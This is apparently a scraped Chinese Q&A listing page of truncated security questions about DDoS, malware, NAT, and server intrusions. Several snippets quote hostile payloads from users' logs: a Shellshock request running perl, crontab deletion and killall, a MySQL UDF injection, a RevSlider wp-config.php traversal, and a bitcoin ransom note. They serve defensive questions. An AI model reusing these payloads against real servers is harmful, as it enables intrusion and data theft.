1回答
📷
以上截图是从我的网站的cpanel访问者list.My网站是建立在wordpress上。我认为有人正试图用DDOS攻击破解我的网站，并在单个night.Although中耗尽我的10 my带宽，我应用了https，并将访问不存在的URL的重复ip地址列入了黑名单。避免这种攻击的其他可能的方法是什么？
浏览 0提问于2019-11-06得票数 1
我在使用wordpress创世纪主题。我的.htaccess代码在下面。
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
但是，它一直在用下面的代码更新，
浏览 1提问于2020-11-08得票数 1
让我们假设攻击者能够将JavaScript注入网站。显然，他可以执行任何HTTP请求，以模拟用户操作，除非有一些确认，如SMS代码需要用户直接交互(即使在这种情况下，恶意JavaScript也可能欺骗用户)。所以，我想，这个攻击媒介是无法合理防御的。但是，如果攻击者窃取会话，他可以冒充用户并几乎做任何事情。所以我在考虑如何保护这个向量。当然，服务器可以检查IP地址等，但这并不总是可能的。
第一件事:将会话存储在只使用HTTP的cookie中。JavaScript不能偷它。到目前一切尚好。但是还有另一个缺点:第三方网站可以从我的服务器制作带有动作的表单标签，并使用用户cookie提交此表单。我们
浏览 0提问于2017-09-27得票数 1
1回答
可能重复: 如果我通过NAT连接到互联网，怎么会有人黑我的电脑？
私人IP地址(172,192 )等)是不可路由的地址，由于NATing，外部世界不可见。
即使这些私有IP的一些传入流量确实击中了边界路由器，我想大多数商业路由器也会被配置为不路由流量。
因此，这是否意味着我的系统在私有IP (172)上。在我的大学网络里，免受外部攻击安全吗？
我同意内部攻击很有可能发生，但是任何想从外部攻击我的对手呢？
浏览 0提问于2012-08-30得票数 1
回答已采纳
1回答
我想知道是否有人知道恶意软件是否可以在没有互联网连接的情况下传播？另外，你能通过释放反恶意软件来防御恶意软件吗?反恶意软件利用同样的漏洞传播，但一旦感染卸载原来的恶意软件？
浏览 0提问于2015-03-28得票数 1
回答已采纳
1回答
我想做伪装的LSA攻击OSPF网络，并能够更多的分析，所以我不知道它如何在实践中工作。这是渗透测试。
攻击在地址[+]中进行了描述。我经营的网络如下：
📷
根据上述照片编写的源程序如下：
#!/usr/bin/env python
from scapy.all import *
load_contrib("ospf")
#from ospf import *
from time import sleep,clock,time
def ourSend(packet):
sendp(packet,iface='eth0') # is 192.1
浏览 0提问于2013-02-24得票数 1
回答已采纳
黑客如何隐藏他们的恶意软件在Windows上，启动和不可能找到和删除？
我发现黑客可以用来隐藏他的恶意软件：(找到这里)
Windows: Setting hidden attribute.
但是我发现这些结果太简单了，如果用户更改设置，很容易被发现。在Windows上，如果要在计算机启动时启动某些内容，则需要将其放在“启动”文件夹中或以服务的形式启动。
因此，如果用户有正确的设置，并检查他的服务，就可以检测到所有这些。
一个好的黑客是如何在没有被发现的情况下在计算机上隐藏程序来启动的？请给我举个例子。
在那之后
我有一个理论，如果一个人使他的程序总是在它被杀死之前启动自己，那么它永远不能被删
浏览 0提问于2015-04-12得票数 2
回答已采纳
3回答
我刚读完WannaDecryptor恶意软件正在查询一个未注册的域。我以为它是连接到它的命令和控制服务器。这是正确的吗？
我的理解是，如果任何类型的程序试图连接到未注册域的服务器，由于IP地址解析失败，连接将失败。对吗？如果不是，域的IP地址是如何解析的？还是我漏掉了什么？
恶意软件是否使用配置的未注册域与控制服务器通信？如果是，它如何能够不使用DNS注册IP地址解析？
浏览 0提问于2017-05-15得票数 4
回答已采纳
每当我改变max_allowed_packet，几个小时后它就会被重置。当我检查查询日志时，我发现了以下查询。但我无法确定哪个应用程序或进程执行此查询。有人知道这是关于什么的吗？或者是mysql本身？
161020 3:09:34 723 Query CREATE FUNCTION sys_get RETURNS string SONAME 'ptfuki32.so'
723 Query CREATE FUNCTION sys_get RETURNS string SONAME 'ptfuki32.so'
723 Q
浏览 8提问于2016-10-20得票数 0
回答已采纳
我刚刚注意到我的一个web目录中有一些奇怪的PHP文件。它们原来是垃圾邮件发送者放置的漏洞利用文件。
他们自2006年以来一直在那里，大约在那个时候，我正在使用我的CGI脚本进行一场备受瞩目的捐赠活动。而且这些文件被放在脚本的可写目录中，所以我怀疑我的脚本可能以某种方式被利用了。
但我使用的是Perl“污点检查”、strict等，而且我从不将查询数据传递给shell (它从不调用shell!)或者使用查询数据生成打开的文件路径...我只打开我在脚本中直接指定的文件。我确实将查询数据作为文件内容传递到写入的文件中，但据我所知，这并不危险。
我一直盯着这些脚本看，什么也看不到，并且我研究了所有标准
浏览 2提问于2011-05-09得票数 21
我想知道这些客户端软件是如何保护自己免受蠕虫/恶意软件等攻击的。Symantec使用篡改保护机制保护自己的文件免受恶意用户/管理员的攻击，但为了排除故障，有时需要禁用它。
这是如何停止服务：https://support.symantec.com/en_美国/文章192023.html
但是，如果用户能够做到这一点，那么恶意蠕虫就不能做到这一点吗？这会使整个保护变得无用吗？
浏览 0提问于2016-05-29得票数 2
回答已采纳
今天，几乎所有的ISP都使用NAT系统为更多的人分配相同的IP (至少在我所在的位置)，这可能是因为IPv4地址即将结束，他们想省钱。是否有可能对这种连接进行DoS / DDoS攻击？知道公共IP地址，我认为理论上可以饱和使用NAT的ISP电路，但实际上只攻击单个目标是可能的。也是因为我相信任何一个拥有这种能力的人都不可能让整个ISP饱和。
浏览 0提问于2018-09-02得票数 4
回答已采纳
2回答
防止TCP序列预测攻击
、、、、
假设攻击者获得了我和我的客户之间的序列号。现在他继续和我谈话，改变了IP地址。
如何防止将包发送到与初始请求/tcp消息的IP不匹配的地址。路由器/窗口中是否有设置，还是需要编写自己的tcp/ip程序？
感觉协议应该已经有一个标志/选项了。
浏览 0提问于2020-06-08得票数 1
回答已采纳
最近，我注册了CloudFlare，以利用该服务提供的安全功能。具体来说，我对它在DDOS攻击中的使用感兴趣(这是我面临的一个问题)。
我的web应用程序使用nginx作为反向代理(使用gunicorn作为应用服务器)。通过Azure购买的基于Ubuntu的虚拟机具有静态/保留IP (用作VIP)。我已经读过，在连接到CloudFlare之后，最好的做法是更改服务器IP，这样恶意行为者就不能直接将所述服务器DDOS。
作为一个新手，我不确定这个准则是适用于公共VIP (虚拟IP)还是适用于内部IP (这完全不同)。请有人在概念和功能上为我澄清这一点好吗？真的可以用一些帮助来设置这个！
浏览 12提问于2017-03-31得票数 1
回答已采纳
今天，我检查了我的服务器的user.log文件，它充满了下面的Suhoshin消息
suhosin[6842]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'page' (attacker '.....
suhosin[29033]: ALERT - configured GET variable value length limit exceeded - dropped variable...
等。
我几乎每天都在user.log文件中看到类
浏览 0提问于2013-09-10得票数 1
回答已采纳
1回答
是否有办法通过使用恶意软件来对抗恶意软件本身来创建一个更好的反恶意软件工具？我已经查过反恶意软件是如何工作的，并且在著名的网站上搜索了很多，比如一个巨大的博客(学院)和McAfee上的文章，但是没有什么能解决这个问题。
让恶意软件为我们战斗是可能的吗？即使在理论上需要我们还没有的技术？
浏览 0提问于2020-03-07得票数 1
回答已采纳
我把笔记本电脑通过千兆位以太网连接到我的公司网络上，然后在接口上运行Wireshark。我希望看到所有的广播和多播通信和单播通信，要么是源自我的笔记本电脑的IP，要么是命中注定的。
出于某种原因，我还看到网络上所有的单播通信都是针对另一个IP的。
为什么会发生这种事？以前有人见过这种行为吗?知道是什么引起的吗？
IIUC，交换机应该记录在端口上接收的数据包的MAC地址，将它们记录在FIB中，并将发送到该MAC地址的数据包路由到上次接收该MAC地址的端口。在这种情况下，交换机不能从与该IP相关联的MAC地址接收数据包，尽管ARP将IP解析为MAC。因此，由于在FIB中找不到MAC，所以它向所有端
浏览 0提问于2022-06-15得票数 0
回答已采纳
1回答
我做了什么：
我试图用私钥连接到我的远程服务器
ssh -i privkey.ppk root@ip
但它正在返回一个错误。
错误消息：
Load key "privkey.ppk": invalid format
root@ip: Permission denied (publickey).
预期结果：
我应该能够用ssh键登录到我的远程服务器。
密钥文件内容：
PuTTY-User-Key-File-2: ssh-rsa
Encryption: aes256-cbc
Comment: rsa-key-20181019
Public-Lines: 6
some lin
浏览 0提问于2020-02-27得票数 19
回答已采纳
2回答
我读了一篇关于有线的文章说整个交通系统都被黑了。入侵者禁用票务机，并在车站上显示消息。
我想知道，如果攻击者不知道他正在访问的设备的IP，他如何找到一个入口点。他有没有操纵车站里发现的物理装置？他是否必须进入一个电台，或者他可以在他的个人电脑匿名的情况下行事？
浏览 0提问于2016-11-29得票数 1
1回答
正如https://security.stackexchange.com/a/11935/35886所述:防止代码注入的最佳保护措施是防止代码注入，但是经常会在SO或此处看到类似的帖子
我找到了“长行php/perl等代码”，并想知道它能做什么。
然后，我意识到，许多这些代码注入往往是非常长的代码行(除了编码和可能加密)，以避免过于明显的第一眼。
现在，我在想，对于长代码行的任何代码库的自动扫描是否能提供一种廉价的机制来检测解释语言中的代码注入块？
在扫描超过n个字符的代码行时，快速搜索没有显示任何命中和误报的关联。
我知道这样的系统会检测到混淆的代码，但是写得不好的代码也会被检测到，但是在任
浏览 0提问于2014-07-29得票数 1
回答已采纳
我有一个勒索软件(带有.reco和.bora扩展名的STOP/DJVU家族和一个在线密钥)，而且没有备份，所以我必须付费才能拿回我的文件(请不要评判我……我知道付费会让它们传播更广的?)我收到了一个解密工具和一个密钥，我用它们来解密我的文件。
我尝试了市场上几乎所有的杀毒软件和反恶意软件，扫描了所有的项目，每个可疑的文件都被隔离和删除了。我的一个朋友建议我做备份并安装一个干净的窗口，因为大多数攻击者都会留下一个后门，以便以后再次攻击。
问题是如何备份我的Android Studio项目而不担心再次感染…我知道我确实扫描了所有的文件，但可能有一些隐藏的东西没有被检测到
将项目推送到github并
浏览 19提问于2019-10-28得票数 1
2回答
我读了一本关于不同类型攻击的电子书，发现：
熟练的黑客可以拦截来自服务器的DNS答复，并将请求名称的IP地址替换为黑客控制的计算机地址，从而为正在进行的会话攻击提供一种简单的方法。
这是否意味着，一旦攻击者拦截了数据包，软件就会替换地址，或者攻击者必须手动执行。如果后者是真的，那么受害者是否能从延误中看出他们被劫持了呢？
浏览 0提问于2017-08-07得票数 2
昨晚我开始在覆盆子皮上运行一个烧瓶应用程序。它不是躲在apache或nginx后面，而是自己处理请求。作为概念的证明，我设置了我的路由器来转发http流量。为了让别人知道它是什么样子，我一夜之间就把它打开了。今天早上，我醒来看到了一些我不太明白的请求：
[ip-address] - - [date] "GET http://[ip-address]/proxychecker/check.cgi?action=getinfo HTTP/1.1" 404-
和
[another ip-address] - - [date] "GET /xmlrpc.php HTTP/1
浏览 0提问于2016-09-15得票数 -1
回答已采纳
我有一个网络应用程序。现有用户可以通过发送邮件、抛出web应用程序来邀请新用户。
如果用户连续4次失败，我会阻塞acount 5分钟。
目前，应用程序中没有重要的信息。
现行政策的问题是：
如果恶意用户B想阻止用户A，他可以尝试每5分钟用A用户名登录4次。然后A无法登录到这个应用程序。
如果4个失败的视频来自同一个IP (并且只阻止该IP)，我可以阻止它。但恶意用户可以更改他的IP。我不知道怎么做，但有可能他可以填满我的资源(因为我必须计算每一个IP的数量)
我可以放卡普查，但我不确定有多大帮助。
你能帮帮我吗?我能读什么或者做什么？
浏览 0提问于2018-07-02得票数 2
回答已采纳
1回答
安全软件讨厌我的插座
、、、
我正在写一个程序，我想分发给其他人，但它使用套接字，大多数安全软件将其视为恶意软件。我如何让这个程序工作，而不告诉人们降低他们的防火墙，并免除程序的扫描？可能是我的套接字做错了什么，还是我的程序没有数字证书的问题？
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
int client(char *ip,int port,SOCKET *sock)
{
struct sockaddr_in addr;
*sock=socket(AF_INET,SOCK_STREAM,IP
浏览 0提问于2012-04-24得票数 2
回答已采纳
我不是阅读日志的专家，所以我今天在另一个论坛答: DDOS攻击上发布了我的一些日志。这就是我到目前为止所做的：
将所有sys日志、kern日志、ufw日志和auth日志复制到一个文件夹中，并将它们合并为一个文本文件。
grep：grep -E "UFW" ~/merged.log > ~/filter_ufw_Block_lines.txt
grep：grep -E -o "SRC=([0-9]{1,3}[\.]){3}[0-9]{1,3}" ~/filter_ufw_block_lines.txt > ~/Get_SRC_IP_Addresses.
浏览 0提问于2016-06-12得票数 -2
我的IP地址已经被AKAMAI屏蔽了。因此，我无法连接到多个使用AKAMAI的网站，例如united.com。我的ISP是Comcast，我的盒子是调制解调器+路由器一体机。我一直无法更改我的公共IP地址(我试图更改我计算机的MAC地址并关闭该框，但它不起作用)。有没有办法让我更改我的IP，或者我在这些网站上永远被屏蔽了？
浏览 25提问于2020-01-04得票数 0
1回答
我在家里在我的系统上运行Kali Linux来练习随叫随到。如果我在我的系统上实现蜜罐，是否可以将其用作某种代理服务器？我认为这并不理想，因为它仍然在我自己的网络上运行。即使如此，假设我要在别人的服务器上找到一个蜜罐，我能用它作为某种代理来弹出连接或者某种程度上吗？
我试图实现的是，我想尝试通过蜜罐掩盖我的IP，我知道这在本地可能是不可能的。如果我连接到别人的蜜罐，并通过它屏蔽我的IP，因为他们被分配了自己的IP，这有可能吗？
浏览 0提问于2015-11-12得票数 -2
回答已采纳
我的一台办公室电脑上安装了“我的无线路由器”，我曾经把我的诺基亚lumia 925连接到它上。软件“我的无线路由器”显示我们的IP当我们连接。有没有可能有人可以利用我的IP地址黑我的手机个人数据？
浏览 0提问于2016-07-22得票数 -8
我知道，同一个网络中的许多客户端都有相同的DNS (大多数情况下都可以更改)。
但是，是否可以通过UDP中的弱点来理解特定IP (通过Internet)使用的DNS服务器？
更新1:很明显，可以看到带有MITM攻击的DNS数据包。让我们假设example.com的IP地址是1.2.3.4，所以我的意思是这个IP在请求某人的IP时使用什么DNS Server。
我之所以这么问，是因为我看到迈克尔·霍华德在"25宗致命编程罪“中解释说，在互联网上找到某人的DNS服务器是可能的。
但我在谷歌上找不到任何关于它的信息。
我的意思是，每次向DNS服务器请求IP时，重播都可以来自不同的来源(在DN
浏览 0提问于2016-11-01得票数 0
回答已采纳
假设我访问了一个网站，只要访问它，它就可能感染我的电脑。如果我禁用JavaScript，是否仍有可能感染我的计算机？
我已经搜索过这个问题了，但我只发现这样的问题，没有提到禁用JavaScript。
浏览 0提问于2021-04-08得票数 2
回答已采纳
2回答
我们有一个CentOS服务器为我们的网络启动托管在softlayer.com上。知道Linux在没有防病毒程序的情况下是多么的安全:我还需要像软层网站(softlayer‘site，http://www.softlayer.com/services/security/mcafeeAntiVirus)中所宣传的那样安装McAfee吗？值得安装吗？它能给我带来什么好处？
谢谢!
浏览 0提问于2014-03-17得票数 0
我在我的网络服务器上使用RDPGuard。我注意到它阻止了一个似乎源自Microsoft注册IP地址的IP地址：
Process Information:
Caller Process ID: 0xf78
Caller Process Name: C:\Windows\System32\winlogon.exe
Network Information:
Workstation Name: BLAH
Source Network Address: 168.62.177.31
Source Port: 36038
通过查看rdp卫士的this服务，我可以看到这是一个Mi
浏览 0提问于2013-01-04得票数 3
回答已采纳
2回答
我有点害怕远程黑客攻击，因为我使用的是Windows 7。我知道如果黑客利用Windows XP中的DCOM漏洞，他可以做些什么，但这种漏洞存在于Windows 7或Windows 8上吗？换句话说，黑客只知道我的机器的IP地址，就能像Windows机器那样远程入侵系统吗？
浏览 0提问于2014-08-17得票数 0
6回答
Warning!
警告!
предупреждение!
Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.1 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of
浏览 3031提问于2017-12-26
我有一个相当小的网站，总共有3个网页，在我的一个.html页面上只包含html，css和jquery...now，我有这个恼人的iframe注入(源文件是php)，它是每次我加载我的页面时添加到我的body标签上的。现在我一个接一个地删除了所有引用的样式表、插件等，但唯一摆脱它的方法是删除该页面的所有内容。我如何摆脱这个iframe？有什么建议吗？
请注意，我在其他页面上使用的插件与我在这个“被黑客攻击的页面”上使用的插件相同，除了一个plugin...but删除了一个插件无法修复它之外……？
下面是我通过检查元素获得的iframe代码：
<div style="padding-
浏览 0提问于2012-08-14得票数 0
回答已采纳
1回答
我只是注意到nginx日志中的重复条目：
31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash
浏览 0提问于2015-03-06得票数 0
我让一个安全工程师从我的机器上分析了一个数据包捕获。
在一次袭击中使用了大约五个in。这是VirusTotal多次检测到的唯一IP (6)。
IP为209.197.3.8。四个月前，这个IP是微软的一个更新站点。这位工程师说这是一个假冒的微软网站。当然，他也知道IP是CDN。
黑客有可能躲在名为209.197.3.8的CDN背后，欺骗和攻击吗？
浏览 0提问于2023-05-22得票数 1
最近我们通知黑客要黑我们的服务器，我们在服务器上安装了IP阻塞软件，但问题是，黑客正在使用动态ip地址重试，我们可以看到他正在使用同一台机器进行攻击(日志文件显示不同的ip地址，但同一机器名称类似于“身份验证失败(ylmf-pc)")，是否也可以用计算机名来阻止他呢？我们用的是脑脊液http://configserver.com/cp/csf.html
注意:我不是服务生，我是程序员。
浏览 0提问于2013-05-21得票数 0
1回答
我已经通过了DES，我发现大多数块只是简单地重新调整输入，这可以被称为“交叉布线”。这包括IP，IP-1，PC-1，PC-2，甚至扩展(虽然这似乎比其他的更有用)。
为什么DES要这么做？是因为某个原因，还是只是为了好玩？
浏览 0提问于2016-01-02得票数 8
回答已采纳
我需要限制登录尝试。
一种选择是根据IP地址来计数尝试，然后阻止IP。缺点是不同的用户可能有相同的IP地址。另一个选项是限制帐户标识符(用户名或电子邮件)，然后阻止帐户(它可以通过支持手动激活)。我能想到的唯一缺点是恶意用户可以猜出用户名并阻止他们.但除此之外，它感觉更安全，因为恶意用户可以使用不同的IP，对吗？
推荐的方法是什么？
浏览 0提问于2016-03-01得票数 28
回答已采纳
1回答
我很确定我受到了斯洛洛里斯的袭击。我设置了iptables规则来限制与我的set服务器的最大连接，但我想知道如何才能确定它是否真的是Slowloris攻击，如果是，我如何找到攻击者的IP地址。我真的很想把这些日志传给他的ISP。
谢谢
浏览 0提问于2010-12-26得票数 14
回答已采纳
我在这里读到了一个关于大公司如何保护自己的相似问题，并对如何将其转移到不太重要的操作(即安全研究人员、小公司等)产生了兴趣。
我认识到，恶意软件分析不应该在有价值信息的机器上进行，而且现实地说，如果消费者设备受到攻击，它们必须拥有相当有价值的信息，否则漏洞就会被公开发布，届时补丁可能也会被公开发布。关于VM的一般信息 共识似乎是在“现实生活”中逃逸的，这是因为它们太罕见/太难被利用，不会构成威胁。
所以这更像是一个理论问题。有什么方法可以防止逃避，而不工程严重硬化的管理程序？我的第一个解决方案(也是现在唯一的)是VM中的VM (这显然会带来性能差、根据这个有点过时的服务器错误线程、不稳定的缺点
浏览 0提问于2022-03-30得票数 2
回答已采纳
据我所知，OSSEC是一个开源的HIDS。这是一个“探测系统”。我在日志中阅读，它收集日志并标记系统中发现的任何异常(例如Debian )，并对其执行一些操作。
OSSEC的一些规则，有一种可能的方法来防止异常进行操作，比如，如果身份验证2次失败，则通过阻止IP来防止蛮力。
我的问题是，OSSEC如何处理已经传播的病毒？OSSEC就像检测异常并执行一些操作一样。如果这种情况发生了，ossec能做什么。我是否可以将任何逻辑应用到断开所有网络的ossec规则中，或者有其他方法？有可能吗？
浏览 0提问于2017-11-01得票数 -3
1回答
我的服务器有一个静态IP，它监听端口(8000)，当它得到一个文件时，它会用预定义的扩展名自动保存它。这是一个内部项目，没有人知道这个服务器。我每天很少看到HTTP1.0/1.1请求。我该担心吗？他们的起源是俄罗斯，越南，可能更多。
浏览 0提问于2018-06-22得票数 0
回答已采纳
3回答
我正在用C++编写一个软件，它的目标市场是一个传统上软件被严重破解(或者至少是试图破解)的市场。我意识到没有什么是可以完全保护的，但我觉得尝试一下会是一个好主意，而且我认为我所处的情况的一些细节可能会有所帮助。
首先，用户必须有互联网连接才能使用该软件，这对他们来说并不是一件烦人的事。我讨厌游戏等也这样做，但由于其用途，软件无论如何都需要互联网连接才能运行，所以这不会妨碍普通用户。
其次，它在很大程度上依赖于由我编写和/或由第三方提供的外部脚本，因此我可以将这些脚本存储在某个网站上，这意味着破解软件的人将不得不追踪脚本的新副本，这可能会使它们变得合法。
第三，根据应用程序的功能定义，新版本必须
浏览 1提问于2010-01-02得票数 2
我的网站管理员捕获所有电子邮件地址开始收到来自各种电子邮件系统的大量“传送状态通知(失败)”回复。大约是每小时1个。
这显然是发送的垃圾邮件，因为内容是关于药物的。我在想是不是
1)它不是由我们发送的，但回复字段被设置为我们的站点，因此我们收到了失败通知；或者2)我们的系统已被破坏，它是由我们发送的，损害了我们的声誉。另外-如果是这样的话，我应该从哪里解决这个问题呢？！
谢谢!
下面是一个示例：
Delivery to the following recipient failed permanently:
grdchurch@mail.calvinseminary.edu
Techn
浏览 6提问于2012-07-03得票数 2
1回答
侦测到高风险入侵
、、、
我有来自赛门铁克的端点保护。最近，我收到了许多赛门铁克云警报电子邮件。
wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
他们一直在攻击托管在我服务器上的随机域。我的大多数网站都使用基于.NET的框架，只有少数网站运行在Wordpress上。而且所有的Wordpress都不使用这个revslider_show_image插件。
我不知道这次攻击的定义(也许是DoS?)，但是想知道如何解决这个问题。
目前，我只是使用这种方法阻止IP地址，但我不确定它会有帮助。
--这是赛门铁克的回复，其实没什
浏览 0提问于2014-09-16得票数 0
回答已采纳
2回答
我的路由器dsl灯不稳定；它可以断开连接，connecting..So我登录路由器主页查看出了什么问题，发现路由器防火墙日志中有这么多不同的ip，我甚至不知道of..there是每一个second..How的日志，难道secure..Im真的很害怕，我被黑了吗？
浏览 0提问于2018-08-26得票数 1
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
腾讯会议
实时音视频活动推荐
腾讯云开发者
